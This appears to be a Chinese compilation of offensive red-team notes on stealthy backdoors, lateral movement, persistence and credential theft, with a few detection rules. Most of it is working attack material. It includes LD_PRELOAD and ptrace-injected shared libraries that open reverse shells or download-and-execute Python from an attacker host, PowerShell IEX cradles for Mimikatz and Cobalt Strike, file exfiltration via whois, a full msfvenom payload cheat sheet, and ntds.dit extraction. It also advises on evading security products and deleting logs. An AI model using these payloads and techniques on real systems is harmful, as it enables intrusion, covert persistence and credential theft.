配合micropoor.txt的内容,这次的Demo将会变得更有趣。
那么这次demo 做到了,无服务,无进程,无端口,无自启。
加入到demo中,增加对手成本。使其更隐蔽。
如果demo不是notepad++,而是mysql呢?用它的端口,它的进程,它的服务,它的一切,来重新编译microdoor。
例如:重新编译mysql.so,mysql.dll,替换目标主机。
无文件,无进程,无端口,无服务,无语言码。因为一切附属于它。
这应该是一个攻击者值得思考的问题。
正如第一季所说:在后门的进化中,rootkit也发生了变化,最大的改变是它的系统层次结构发生了变化。
https://cloud.tencent.com/developer/article/1497361
前者的话: 从第三季开始引入段子,让本枯燥的学术文章,也变得生动有趣。第二季的Demo遵循人性五条来设计,回忆这其中五条:
1、攻击方与防御方的本质是什么?
增加对方的时间成本,人力成本,资源成本(不限制于服务器资源),金钱成本。
2、安全公司的本质是什么?
盈利、最小投入、最大产出
3、安全公司产品的本质是什么?
能适应大部分客户,适应市场化,并且适应大部分机器。(包括不限制于资源紧张,宽带不足等问题的客户)
4、安全人员的本质是什么?
赚钱,养家。买房,还房贷。导致,快速解决客户问题(无论暂时还是永久性解决),以免投诉。
5、对接客户的本质是什么?
对接客户也是某公司内安全工作的一员、与概念4相同。
6、线索排查与反线索排查
那么这个demo离可高级可持续性渗透后门还有一段距离,这里引入第六条线索排查
与反线索排查
,在第二季的dem中,它生成了一个名为 micropoor.的文件,如果经验丰富的安全人员可根据时间差来排查日记,demo的工作流程大致是这样的,打开 notepad++,生成 micropoor. txt,写入内容,关闭文件流。根据线索排查,定位到 notepad++,导致权限失控。
在线索排查概念中,这里要引入“ABC”类线索关联排查,当防御者在得到线索A,顺藤到B,最后排查到目标文件C,根据五条中的第一条,demo要考虑如何删除指定日志内容,以及其他操作。来阻止ABC类线索关联排查。
不要思维固死在这是一个 notepad++后门的文章,它是一个面向类后门,面向的是可掌握源码编译的类后门。
同样不要把思维固定死在demo中的例子,针对不同版本的NT系统,完全引用"powershell IEX(New-Object System.Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/clymb3r/Powershell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1’);Invoke-Mimikatz"而关于bypass UAC,已经有成熟的源码。或发送至远程或是写在本地的图片里,不要让知识限制了后门的想象。这也正是第一季所说的:一个优秀的 Microdot是量身目标制定且一般不具备通用性的。一般不具备通用性。
观看目前文章的一共有2类人,一类攻击方,一类防守方。假设一个场景,现在摆在你面前有一台笔记本,并且这台笔记本有明确的后门,你的任务,排查后门。我想所有人都会排查注册表,服务,端口,进程等。因为这些具备通用性,也同样具备通用性排查手段。
临近文章结尾,第三次引用:在后门的进化对抗中,rootkit发生了变化,最大的改变是它的系统层次结构发生了变化。
第四季是一个过渡季,过渡后门在对抗升级中由传统后门,衍生成锁定目标的制定后门。
引用百度百科的“后门程序"的相关解释 :
https://baike.baidu.com/item/%E5%90%8E%E9%97%A8%E7%A8%8B%E5%BA%8F/108154
安全从业人员,其实至少一直在与传统后门对抗,比如最常见的webshell免杀与webshell过waf。应急中的样本取证查杀远控残留文件等。但是webshell,远控仅仅又是“backdoor”的其中一种。
这里按照上几季的风格继续引用几个概念,只有概念清晰,才能了解如何对抗。
1:安全从业人员为什么要了解后门?
防御是以市场为核心的,而不是以项目为核心。需要对抗的可能是黑产从业者的流量劫持相关后门,或者是政治黑客的高持续渗透权限把控后门等。
2:攻击人员为什么要了解后门?
随着对抗传统后门的产品越来越成熟,由特征查杀,到行为查杀,到态势感知。到大数据联合特征溯源锁定,如何反追踪,是一个非常值得思考的问题。
3:后门与项目的关联是什么?
某项目,被入侵,应急并加固解决,若干天后,再次被入侵依然篡改为某博彩。导致安全从业人员,客户之间的问题。
4:后门与安全产品的关联是什么?
某客户购买某安全产品套装,在实战中,一般由非重点关注服务器迂回渗透到核心服务器来跨过安全产品监控,得到相关权限后,后门起到越过安全产品。它会涉及对其他附属安全产品的影响。如客户质疑:为什么我都买了你们的套装,还被入侵。并且这还是第二次了。
这里再一次引入百度百科的APT的主要特性:
——潜伏性: 这些新型的攻击和威胁可能在用户环境中存在一年以上或更久,他们不断收集各种信息,直到收集到重要情报。而这些发动APT攻击的黑客目的往往不是为了在短时间内获利,而是把“被控主机”当成跳板,持续搜索,直到能彻底掌握所针对的目标人、事、物,所以这种APT攻击模式, 实质上是一种“恶意商业间谍威胁”。
——持续性: 由于APT攻击具有持续性甚至长达数年的特征,这让企业的管理人员无从察觉。在此期间,这种“持续性”体现在攻击者不断尝试的各种攻击手段,以及渗透到网络内部后长期蛰伏。
——锁定特定目标: 针对特定政府或企业,长期进行有计划性、组织性的窃取情报行为,针对被锁定对象寄送几可乱真的社交工程恶意邮件,如冒充客户的来信,取得在计算机植入恶意软件的第一个机会。
——安装远程控制工具: 攻击者建立一个类似僵尸网络Botnet的远程控制架构,攻击者会定期传送有潜在价值文件的副本给命令和控制服务器(C&C Server)审查。将过滤后的敏感机密数据,利用加密的方式外传。
一次针对特定对象,长期、有计划性渗透的本质是什么?
窃取数据下载到本地,或者以此次渗透来达到变现目的。
一次具有针对性的渗透,绝对不单单是以渗透DMZ区为主,重要资料一般在内网服务器区(包括但不限制于数据库服务器,文件服务器,OA服务器),与内网办公区(包括但不限制于个人机,开发机,财务区)等。而往往这样的高级持续渗透,不能是一气呵成,需要一定时间内,来渗透到资料所在区域。而这里其中一个重要的环节就是对后门的要求 ,在渗透期间内(包括但不限制于一周到月甚至到年)以保持后续渗透。
传统型的后门不在满足攻击者的需求,而传统型的木马后门, 大致可分为六代:
第一代 ,是最原始的木马程序。主要是简单的密码窃取,通过电子邮件发送信息等,具备了木马最基本的功能。
第二代 ,在技术上有了很大的进步,冰河是中国木马的典型代表之一。
第三代 ,主要改进在数据传递技术方面,出现了ICMP等类型的木马,利用畸形报文传递数据,增加了杀毒软件查杀识别的难度。
第四代 , 在进程隐藏方面有了很大改动,采用了内核插入式的嵌入方式,利用远程插入线程技术,嵌入DLL线程。或者挂接PSAPI,实现木马程序的隐藏,甚至在Windows NT/2000下,都达到了良好的隐藏效果。灰鸽子和蜜蜂大盗是比较出名的DLL木马。
第五代 ,驱动级木马。驱动级木马多数都使用了大量的Rootkit技术来达到在深度隐藏的效果,并深入到内核空间的,感染后针对杀毒软件和网络防火墙进行攻击,可将系统SSDT初始化,导致杀毒防火墙失去效应。有的驱动级木马可驻留BIOS,并且很难查杀。
第六代 ,随着身份认证UsbKey和杀毒软件主动防御的兴起,黏虫技术类型和特殊反显技术类型木马逐渐开始系统化。前者主要以盗取和篡改用户敏感信息为主,后者以动态口令和硬证书攻击为主。PassCopy和暗黑蜘蛛侠是这类木马的代表。
以远控举例,远控最开始生成的RAT功能一体化(包括但不限制于文件传输,命令执行等),后衍生成生成RAT支持插件式来达到最终目的。
以上的几代包括以上远控共同点,以独立服务或者独立进程,独立端口等来到达目的。难以对抗目前的反病毒反后门程序。那么传统型后门权限维持就不能满足目前的需求。
以第二季的demo举例,它无自己的进程,端口,服务,而是借助notepad++(非dll劫持)来生成php内存shell(这个过程相当于插件生成),并且无自启,当服务器重启后,继续等待管理员使用notepad++,它属于一个AB链后门,由A-notepad生成B-shell,以B-shell去完成其他工作。如果继续改进Demo,改造ABC链后门,A负责生成,B负责清理痕迹,C负责工作呢? 这是一个攻击者应该思考的问题。
而后门的主要工作有2点 :
1、越过安全产品
2、维持持续渗透权限
文章的结尾,这不是一个notepad++的后门介绍,它是一个demo,一个类后门 ,一个具有源码可控类的后门
书上介绍了-两种劫持方法剖析,目前没找到实例,书上讲得很好…
另外的dll劫持:
https://www.cnblogs.com/h2zZhou/p/8601375.html
https://www.4hou.com/posts/PrJ4
https://www.freebuf.com/articles/system/227824.html
这里5~7属于内部资料,我这里就不共享了!!!
之前的文章介绍了ATT&CK执行篇中Control和XSL的用法。在网络攻防中,执行往往发生在进入入口后的初始阶段,而横向移动则发生在中间阶段。横向移动的目的是根据已有条件扩大攻击成果。下面我们将会像大家展示ATT&CK中罗列的横向移动手法的运用和检测。
T1028-Windows Remote Management
在介绍Windows Remote Management(Winrm)之前,首先要介绍WS-Management(Web服务器管理协议)。WS-Management协议是一种基于SOAP协议的DMTF开放标准,用于对服务器等网络设备进行管理。WinRM是windows对于该协议的一种实现。
根据微软官方文档介绍:
1、WinRM服务将在Windows Server 2008上自动启动。在Windows Vista上,该服务必须手动启动。
2、默认情况下,未配置WinRM 侦听器。即使WinRM服务正在运行,也无法接收或发送请求数据的WS-Management协议消息。
3、Internet连接防火墙(ICF)阻止访问端口。
通过administrator权限使用下面命令可以打开上述限制条件,开启winrm服务并监听端口
winrm quickconfig
winrm e winrm/config/listener
#查看监听情况
可以看到现在winrm开启了5985进行监听并使用HTTP协议进行传输,而ListeningOn字段则是监听的ip地址(都是自身ip地址)。
配置好服务端之后如果我们尝试通过客户端连接服务端进行远程代码执行的时候会出现如下报错
原因是winrm客户端维护这一个信任主机列表只有在信任主机列表中的服务端才允许连接。
winrm set winrm/config/client @{
TrustedHosts="*"}
测试远程服务器是否开启winrm
Test-WsMan 10.50.1.208 #在powershell中执行
横向移动(winrs)
winrs -r:http://10.50.1.208:5985 -u:administrator -p:xxxxxxxx ipconfig
横向移动(Invoke-Command)
Invoke-Command -ComputerName 10.50.1.208 -ScriptBlock {
ipconfig} -credential administrator #ComputerName后可以跟ip或者计算机名
验证成功后输出ipconfig命令内容
横向移动(Enter-PSSession)
Enter-PSSession -ComputerName 10.50.1.208 -Credential administrator
数据源:文件监视,身份验证日志,网络连接监视,进程监视,进程命令行参数
WINRM流量特征
通过对winrs、Enter-PSSession、Invoke-Command通信流量抓包发现其通信特征相同,都是通过请求http://xxx.xxx.xxx.xxx/wsman 来进行验证和下发命令。并且即使WinRM是使用http通信的但是其通信内容也是加密的,加密的protocal为"application/HTTP-SPNNEG-session-encrypted"
User-Agent contains "Microsoft WinRM Client" AND Content-Type contains "HTTP-SPNNEG-session-encrypted" AND Content-Type contains "Encrypted Boundary"
#winrm客户端产生4656日志
eventNum:4656
网络特征:(级别:高)
sysmon检测到powershell或者winrs.exe发起的网络连接信息
eventNum:3 AND DestinationPort:5985 AND (Image contains:"powershell.exe" OR Image contains:"winrs.exe")
sysmon检测到到winrm.vbs的进程创建
eventNum:1 AND CommandLine contains winrm.vbs
命令行参数特征:(级别:高)
CommandLine contains "Invoke-Command" OR CommandLine contains "Enter-PSSession" OR Image contains "winrs.exe"
WINRM服务端
进程特征:(级别高)
在使用winrm执行远程命令时,目标机器会启动一个winrshost.exe来执行远程命令。
eventNUm:1 AND ParentImage contains "winrshost.exe"
远程桌面是操作系统中的常见功能。它允许用户使用远程系统上的系统桌面图形用户界面登录到交互式会话。Microsoft将其对远程桌面协议(RDP)的实现称为远程桌面服务(RDS)。
如果启用了服务并允许访问具有已知凭据的帐户,则攻击者可以通过RDP / RDS连接到远程系统以扩展访问权限。攻击者可能会使用凭据访问技术来获取与RDP一起使用的凭据。攻击者还可以结合使用RDP和可访问性功能技术来实现持久性。
攻击者还可能执行RDP会话劫持,其中涉及窃取合法用户的远程会话。通常情况下当其他人试图窃取其会话(可以理解为windows的快速切换用户功能)时会收到问题提示并要求出示密码。凭借系统权限(SYSTEM权限)的终端服务控制台c:\windows\system32\tscon.exe [session number to be stolen],攻击者可以切换会话而无需输入密码。这可能导致攻击者窃取域管理员或更高特权的账户会话。
技术复现
前置条件:拥有某个本地管理员组账号的权限
目的:通过rdp会话劫持使我们可以从该管理员组账号切换到本机任意一个账户的rdp会话中
以一台域控制器(10.50.1.208)为例,我们获取了其本地管理员组一个用户(huahua)的凭据。
横向移动(PSExec)
psexec.exe -s cmd #获取SYSTEM权限的shell
query user #查看当前存在的会话
tscon 2 /dest:rdp-tcp#0 #2为administrator的会话id,rdp-tcp#0为我们当前会话名
横向移动(SC)
原理为使用sc命令实现执行SYSTEM权限的命令
query user #查看当前存在的会话
sc create huahua binPath= "tscon 2 /dest:rdp-tcp#0"
sc start huahua
sc delete huahua #清除痕迹
威胁检测
进程特征
通过tscon.exe实现RDP劫持的前提为执行tscon.exe的用户权限为SYSTEM,可以通过检测新创建的tscon.exe进程的User是否为SYSTEM来判断是否发生了可疑的RDP劫持。
Image contains "tscon.exe" AND USER contains "NT AUTHORITY\\SYSTEM"
当使用rdp会话劫持切换用户时安全日志会出现4778、4779两条安全日志
参考文章:
https://www.freebuf.com/articles/network/221199.html
LD_PRELOAD
Linux操作系统的动态链接库在加载过程中,动态链接器会先读取LD_PRELOAD环境变量和默认配置文件/etc/ld.so.preload
,并将读取到的动态链接库文件进行预加载,即使程序不依赖这些动态链接库,LD_PRELOAD环境变量和/etc/ld.so.preload
配置文件中指定的动态链接库依然会被装载,因为它们的优先级比LD_LIBRARY_PATH环境变量所定义的链接库查找路径的文件优先级要高,所以能够提前于用户调用的动态库载入。
通过LD_PRELOAD环境变量,能够轻易的加载一个动态链接库。通过这个动态库劫持系统API函数,每次调用都会执行植入的代码。
dlsym
dlsym是一个计算机函数,功能是根据动态链接库操作句柄与符号,返回符号对应的地址,不但可以获取函数地址,也可以获取变量地址。
dlsym定义在Linux操作系统中的dlfcn.h中,函数原型如下:
void * dlsym(void * handle,const char * symbol)
handle:由dlopen打开动态链接库后返回的指针;
symbol:要求获取的函数或全局变量的名称。
返回值:void * 指向函数的地址,供调用使用。
劫持示例代码:
#include
#include
#include
#include
int puts(const char *message) {
int (*new_puts)(const char *message);
int result;
new_puts = dlsym(RTLD_NEXT, "puts");
// do some thing …
// 这里是puts调用之前
result = new_puts(message);
// 这里是puts调用之后
return result;
}
编译命令:
gcc hook.c -o hook.so -fPIC -shared -ldl -D_GNU_SOURCE
-fPIC 选项作用于编译阶段,告诉编译器产生与位置无关代码(Position-Independent Code);这样一来,产生的代码中就没有绝对地址了,全部使用相对地址,所以代码可以被加载器加载到内存的任意位置,都可以正确的执行。这正是共享库所要求的,共享库被加载时,在内存的位置不是固定的。
-shared 生成共享库格式
-ldl 显示方式加载动态库,可能会调用dlopen、dlsym、dlclose、dlerror
-D_GNU_SOURCE 以GNU规范标准编译
编写好劫持puts函数的代码后,需要先生成一个Metasploit木马,使得在系统调用puts函数之前,都执行一次木马。
exploit/multi/script/web_delivery
模块能够直接生成一条Python命令,这能够非常方便的获得Meterpreter。 接下来,将劫持puts函数的代码做一些小改动,在执行puts之前,调用系统函数system来运行python命令,这样每次调用puts都可以获得Meterpreter会话。
正常执行的过程:
执行whoami后,由于底层会调用puts函数,因此也会执行python命令,Metasploit不出意外的获得了Meterpreter:
接着,为了防止在短时间内获得多个重复的会话,因此需要优化一下代码,例如以某个文件行数和调用puts函数的次数进行取余,就能够达到执行多少次puts函数获得一次Meterpreter。 优化代码如下:
#include
#include
#include
#include
#define BUFFER_SIZE 100
#define COMMAND_NUM 5
int check_file_line(char * filename){
int file_line = 0;
char buffer[BUFFER_SIZE];
FILE *fp = NULL;
fp = fopen(filename,"r");
if(fp==NULL){
return file_line;
}
while(fgets(buffer,BUFFER_SIZE,fp)!= NULL){
file_line ++;
}
fclose(fp);
return file_line;
}
void add_file_line(char * filename){
FILE * fp = NULL;
fp = fopen(filename,"a+");
if(fp == NULL){
return;
}
fputs("1\n",fp);
fclose(fp);
}
void call_system(){
system("python -c \"import sys;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://192.168.170.138:8080/o1ZJy3Wue');exec(r.read());\"");
}
int puts(const char *message) {
char * filename = "/tmp/err.log";
int (*new_puts)(const char *message);
int result;
int file_lines = 0;
new_puts = dlsym(RTLD_NEXT, "puts");
add_file_line(filename);
file_lines = check_file_line(filename);
printf("[+]file_line : %d, NUM = %d \n",file_lines, COMMAND_NUM);
if(file_lines % COMMAND_NUM == 0){
call_system();
}
result = new_puts(message);
return result;
}
在执行至第零次、五次时,成功返回了会话:
COMMAND_NUM 可自定义
参考文章:
https://payloads.online/archivers/2020-01-01/1
说明:
通过进程注入技术,能够使得动态链接库被加载到一个正在运行的进程,因此较为隐蔽。进程注入通过调用ptrace()
实现了与Windows平台下相同作用的API 函数CreateRemoteThread()。在许多Linux发行版中,内核的默认配置文件**/proc/sys/kernel/yama/ptrace_scope限制了一个进程除了fork()**派生外,无法通过ptrace()
来操作另外一个进程。
要注入进程前,需要关闭这个限制(Root权限):
echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope
https://github.com/gaffe23/linux-inject
下载后进入项目目录,执行:make x86_64 即可编译64位的linux-inject。
确认编译是否正常:
获取sample-target的PID后,调用inject程序来注入sample-library.so,注入成功会输出“I just got loaded”。 接下来,需要更改sample-target.c文件,编译成需要的权限维持动态链接库。
#include
#include
#include
#include
void shell()
{
printf("I just got loaded\n");
system("bash -c \"bash -i >& /dev/tcp/192.168.170.138/139 0>&1\"");
}
__attribute__((constructor))
void loadMsg()
{
shell();
}
通过如下命令编译so文件:
clang -std=gnu99 -ggdb -D_GNU_SOURCE -shared -o u9.so -lpthread -fPIC U3.c
此时发现测试程序的主线程被bash阻塞了,于是可以采用多线程技术,将后门代码与正常逻辑分离执行。
但利用这种方式在执行的过程中,查看进程参数还是会被查看到IP地址和端口:
查看到IP与端口:
再继续改进代码,采用socket套接字的方式来反弹shell:
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
static void * hello()
{
struct sockaddr_in server;
int sock;
char shell[]="/bin/bash";
if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
return NULL;
}
server.sin_family = AF_INET;
server.sin_port = htons(139);
server.sin_addr.s_addr = inet_addr("192.168.170.138");
if(connect(sock, (struct sockaddr *)&server, sizeof(struct sockaddr)) == -1) {
return NULL;
}
dup2(sock, 0);
dup2(sock, 1);
dup2(sock, 2);
execl(shell,"/bin/bash",(char *)0);
close(sock);
printf("I just got loaded\n");
return NULL;
}
__attribute__((constructor))
void loadMsg()
{
pthread_t thread_id;
pthread_create(&thread_id,NULL,hello,NULL);
}
执行效果:
Kali Linux获得bash shell:
在实战应用中,需要关闭ptrace的限制,然后注入.so到某个服务进程中,这样达到权限维持的目的。
参考文章:https://payloads.online/archivers/2020-01-01/2
这里也不公布,涉及内部信息,后期我会复现写出来…
https://xz.aliyun.com/t/5004 ---Kerberos Security
https://www.cnblogs.com/artech/archive/2011/01/24/kerberos.html ---Windows安全认证是如何进行的?[Kerberos篇]
https://cloud.tencent.com/developer/article/1596509 --Windows认证 | 域认证
https://www.anquanke.com/post/id/190261 --Windows内网协议学习Kerberos篇之ASREQ& ASREP (深入理解)
这四篇文章,仔细看完,你会基本理解Kerberos原理…
Windows安全认证有两种方式:Kerberos和NTLM
https://xz.aliyun.com/t/6600
https://cloud.tencent.com/developer/article/1480923
这两篇诠释了NTLM协议及Hash抓取…
https://my.oschina.net/u/4587410/blog/4435334 ---Windows认证原理入门篇
https://www.anquanke.com/post/id/193149 ---Windows内网协议学习NTLM篇之NTLM基础介绍
https://www.cnblogs.com/-qing-/p/11343859.html ---域渗透基础之NTLM认证协议
书上只是基础的讲解了,这里三篇文章详细深入的讲解了NTLM
https://www.cnblogs.com/bmjoker/p/10336247.html
https://cloud.tencent.com/developer/article/1665868
https://www.mi1k7ea.com/2020/02/27/内网信息收集之本机信息收集/
https://uuzdaisuki.com/2018/05/05/内网渗透常用命令总结(windows)/
https://my.oschina.net/u/4399281/blog/3581418
这里集合很多,学会就基本差不多了,我的笔记我不透漏了,大部分是htb上集合的和文章里的…
利用whois传输文件:
传输机:
root@john:~# whois -h 127.0.0.1 -p 4444 `cat /etc/passwd | base64`
接受机:
root@john:/tmp# nc -l -v -p 4444 | sed "s/ //g" | base64 -d
优点:适用于隐蔽传输。最小化被发现。
缺点:适用于传输小文件。
windows:
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -e x86/shikata_ga_nai -b 'x00x0axff' -i 3 -f exe -opayload.exe
mac:
msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=攻击机IP
LPORT=攻击机端口 -f macho -o payload.macho
android:
//需要签名
msfvenom -a x86 --platform Android -p android/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f apk -o payload.apk
powershell:
msfvenom -a x86 --platform Windows -p windows/powershell_reverse_tcp LHOST=
攻击机IP LPORT=攻击机端口 -e cmd/powershell_base64 -i 3 -f raw -o payload.ps1
linux:
msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f elf -o payload.elf
php:
msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
cat shell.php | pbcopy && echo ' | tr -d 'n' > shell.php && pbpaste >> shell.php
aspx:
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=
攻击机IP LPORT=攻击机端口 -f aspx -o payload.aspx
jsp:
msfvenom --platform java -p java/jsp_shell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f raw -o payload.jsp
war:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f raw -
o payload.war
nodejs:
msfvenom -p nodejs/shell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f raw -o
payload.js
python:
msfvenom -p python/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -
f raw -o payload.py
perl:
msfvenom -p cmd/unix/reverse_perl LHOST=攻击机IP LPORT=攻击机端口 -f raw -o
payload.pl
ruby:
msfvenom -p ruby/shell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f raw -o
payload.rb
lua:
msfvenom -p cmd/unix/reverse_lua LHOST=攻击机IP LPORT=攻击机端口 -f raw -o
payload.lua
windows shellcode:
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=
攻击机IP LPORT=攻击机端口 -f c
linux shellcode:
msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=攻
击机IP LPORT=攻击机端口 -f c
mac shellcode:
msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=攻击机IP
LPORT=攻击机端口 -f c
便捷化payload生成:
项目地址:
https://github.com/Screetsec/TheFatRat
root@John:~/Desktop# git clone https://github.com/Screetsec/TheFatRat.git
//设置时需要挂墙
附录:
中文使用说明:
Options:
-p, --payload <payload> 使用指定的payload
--payload-options 列出该payload参数
-l, --list [type] 列出所有的payloads
-n, --nopsled <length> 为payload指定一个 nopsled 长度
-f, --format <format> 指定payload生成格式
--help-formats 查看所有支持格式
-e, --encoder <encoder> 使用编码器
-a, --arch <arch> 指定payload构架
--platform <platform> 指定payload平台
--help-platforms 显示支持的平台
-s, --space <length> 设定payload攻击荷载的最大长度
--encoder-space <length> The maximum size of the encoded payload
(defaults to the -s value)
-b, --bad-chars <list> 指定bad-chars 如: 'x00xff'
-i, --iterations <count> 指定编码次数
-c, --add-code <path> 指定个win32 shellcode 文件
-x, --template <path> 指定一个 executable 文件作为模板
-k, --keep payload自动分离并注入到新的进程
-o, --out <path> 存放生成的payload
-v, --var-name <name> 指定自定义变量
--smallest Generate the smallest possible payload
-h, --help 显示帮助文件
https://www.kanxue.com/book-38-445.htm 高级渗透第十课
本篇文章会介绍几种常用的 windows打包、压缩文件&文件夹的方法。
压缩工具 Winrar
https://github.com/u2s1/winrarsc
实际使用情况,直接把 Winrar.exe上传至目标机即可, Winrar大约400k。
常用压缩命令为 :
C:\RECYCLER\Winrar.exe a -k -r -s -m5 tmp.rar srcdir
常用解压命令为:
C:\RECYCLER\Winrar.exe x -t -o -p d:\web.rar d:\desdir
desdir文件夹需存在
压缩工具7za
https://www.7-zip.org --官网
7za常用命令
查看压缩文件内容(如判断目标机上压缩文件是否有价值)
7za l target.zip
常用压缩命令如下
按照默认压缩类型进行压缩,7za会自动遍历所压缩文件夹内的子文件、子文件夹,默认压缩类型为7z即参数-a -t7z,其中-mx9为7z模式中UItra compressing
7za a -mx=9 archive1.zip test
如果需要使用其他压缩类型,如zip
7za a -tzip archive1.zip test
常用解压缩命令如下,too文件夹7za自动创建。
7za x tmp.7z c:\windows\temp\tool
或者压缩文件、文件夹时,需排除某些文件夹,不压缩上面-x 后面的文件夹内文件,文件夹名有空格需用双引号引起来,命令如下
排除文件
7za a archive1.zip test -x!treeNMS-1.7.4.zip
排除文件夹
7za a archive1.zip test -xr!serverbak
使用 windows自带压缩文件命令
makecab压缩文件命令
https://my.oschina.net/hkmax/blog/144293 --makecab 方法
makecab可压缩单个文件或多个文件,但无法压缩文件夹压缩单个文件命令为
makecab 1. txt 1.zip
expand解压缩命令
解压缩test1.cab至c:\windows\temp\tool目录,tool目录必须存在
expand D:\dayu\test1.cab -f:* c:\windows\temp\tool
zip.vbs解压方法
windows文件管理器自带压缩、解压缩功能( zipped),属于explorer的功能,无法命令行调用,具体介绍传送门( https://filext.com/faq/compressed_zip_folder.html),此处zip.vbs为调用COM接口从而调用自带的 explorer zip
压缩文件命令为
CScript zip.vbs C:\test C:\target.zip
powershell缩文件夹
将文件或文件夹test压缩为test.zip
powershell Compress-Archive -Path D:\test -DestinationPath E:\test.zip
将文件test.zip解压到test目录下
powershell Expand-Archive -Path E:\test.zip -DestinationPath F:\test
https://www.cnblogs.com/iriczhao/p/10469143.html
https://cloud.tencent.com/developer/article/1459966
https://www.jianshu.com/p/b35078a6f030
认真看完知道有个概念即可!!!
前言
CobalStrike 与 Metasploit 均是渗透利器,各有所长。前者更适合做稳控平台,后者则更擅长内网各类探测搜集与漏洞利用。两者更需要灵活的联动,各自相互依托,从而提升渗透的效率。
内置Socks功能
通过Beacon内置的socks功能在VPS上开启代理端口,打通目标内网通道,之后将本地Metasploit直接带入目标内网,进行横向渗透。
当然,也可以把代理设置在其他的工具上,不限于Proxychains、Proxifier等。
首先,到已控目标机的Beacon下将socks代理开启。
beacon > socks 1024 #端口根据VPS实际情况进行设置
点开菜单栏中的View > Proxy Pivots,复制代理连接到Metasploit中。
本地启动Metasploit,挂上代理,就可以对目标内网进行各种探测搜集。如 探测目标内网中存在MS17_010漏洞的主机,这也是内网拿主机权限利用方式之一。
msf5 > setg Proxies socks4/5:ip:port #让msf所有模块的流量都通过此代理走。(setg全局设置)
msf5 > setg ReverseAllowProxy true #允许反向代理,通过socks反弹shell,建立双向通道。(探测可以不设置此项)
msf5 > use auxiliary/scanner/smb/smb_ms17_010
msf5 > set rhosts 192.168.144.0/24
msf5 > set threads 100 #内网渗透时线程不要太高!
msf5 > run
当通过其它方式拿到了目标内网中某台Windows机器的本地管理员明文密码或hash时,可利用Metasploit下auxiliary/admin/smb/psexec_command模块,直接上线指定目标机器的Beacon shell。(前提目标机可出网)
先利用CobalStrike生成上线Beacon的powershell。
本地启动Metasploit,挂上代理,设置psexec_command模块参数
msf5 > setg Proxies socks4/5:ip:port
msf5 > use auxiliary/admin/smb/psexec_command
msf5 > set rhosts 192.168.144.0/24
msf5 > set threads 10
msf5 > set smbuser administrator
msf5 > set smbpass aad3b435b51404eeaad3b435b51404ee:579da618cfbfa85247acf1f800a280a4 #明文、密文均可
msf5 > set command powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://149.28.xx.xx:80/a'))" #上线CS的powershell,目标机存在杀软需考虑
msf5 > run
最终,只要密码一致、 能出网,且未被杀软阻止的均会成功上线。
CS与MSF会话互传
CobaltStrike派生Metasploit
当CobaltStrike获得了一个上线机器,想把这个目标传给Metasploit中的meterpreter,获得一个session进行控制。在Metasploit执行以下命令:
msf5 > use exploit/multi/handler
msf5 > set payload windows/meterpreter/reverse_tcp #不要用x64的payload
msf5 > set lhost 10.11.42.99
msf5 > set lport 5353
msf5 > run -j
之后使用CobaltStrike创建一个windows/foreign/reverse_tcp的Listener。其中IP为Metasploit的监听地址,端口为Metasploit所监听的端口
然后选中计算机,右键->Spawn:选择MSF的监听器:
这个时候可以看到,Metasploit上的监听已经上线,现在可以对meterpreter获得的session进行控制。
Metasploit派生CobaltStrike
现在已经获得了一个meterpreter的session,把session传给CobaltStrike。
在CobaltStrike中创建一个监听者,和上一步类似,这里host需要修改为CobaltStrike客户端IP,创建好之后便监听8099端口,等待着被控机连接。
接下来,把meterpreter获得的session转交给CobaltStrike,在Metasploit执行以下命令:
meterpreter > background
msf5 > use exploit/windows/local/payload_inject
msf5 > set payload windows/meterpreter/reverse_http
msf5 > set lhost 192.168.144.174
msf5 > set lport 8099
msf5 > set DisablePayloadHandler true
msf5 > set session 1
msf5 > run
解释一下这些参数。由于CobaltStrike的监听器我们使用的是:
windows/beacon_http/reverse_http
所以我们的payload也要使用:
payload windows/meterpreter/reverse_http
设置本地监听IP和端口:由于监听器是CobaltStrike的,所以要设置成CobaltStrike机器的IP与端口。
默认情况下,payload_inject执行之后会在本地产生一个新的handler,由于我们已经有了一个,所以不需要在产生一个,这里我们设置:
set DisablePayloadHandler true
设置当前的session,执行run。
总结
关于CobalStrike与Metasploit 的联动利用方式远不止这些,每种方式在实战中都有对应的应用场景,更需要探索与总结。
在渗透中经常需要复制像NTDS.dit、mssql数据库文件等关键文件。由于这些文件都被占用,所以不能直接复制。下面介绍几个常用的命令or工具来实现复制
VSSadmin
域环境默认安装。
使用:
创建卷影
vssadmin create shadow /for=c:
获取当前卷影
vssadmin list shadow
从卷影复制文件
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\NTDS\ntds.dit c:\ntds.dit
删除卷影
vssadmin delete shadows /for=c: /quiet
ntdsutil
域环境默认安装
创建快照
ntdsutil snapshot "activate instance ntds" create quit quit
挂载快照
ntdsutil snapshot "mount {
22508acf-8a01-4322-867d-383cf78f59e3} quit quit
快照挂载为C:\$SNAP_201912231558_V0LUMEC$\,copy ntds即可
卸载快照
